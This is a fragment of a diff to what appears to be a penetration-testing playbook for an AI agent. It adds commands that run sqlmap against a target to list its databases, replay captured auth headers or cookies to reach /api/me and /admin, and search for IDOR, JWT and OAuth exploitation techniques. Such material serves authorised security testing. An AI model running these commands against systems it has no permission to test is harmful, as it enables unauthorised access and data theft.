sqlmap -u "http://TARGET/api/data?id=1" --headers="Authorization: $TOKEN" --dbs
|
|
241
|
+
python3 -c "import json,requests; h=json.load(open('$AUTH')); print(requests.get('http://TARGET/api/me',headers=h).text)"
|
|
242
|
+
|
|
243
|
+
If Authorization key is missing (session-only app):
|
|
244
|
+
curl -b "$COOKIE" http://TARGET/admin
|
|
103
245
|
```
|
|
104
246
|
|
|
105
247
|
## Search Patterns
|
|
@@ -109,4 +251,6 @@ web_search("broken access control exploitation hacktricks")
|
|
|
109
251
|
web_search("IDOR exploitation techniques {year}")
|
|
110
252
|
web_search("{technology} authentication vulnerability")
|
|
111
253
|
web_search("PayloadsAllTheThings {attack_type}")
|
|
254
|
+
web_search("jwt_tool usage portswigger")
|
|
255
|
+
web_search("OAuth 2.0 vulnerability {grant_type} exploitation")
|
|
112
256
|
```
|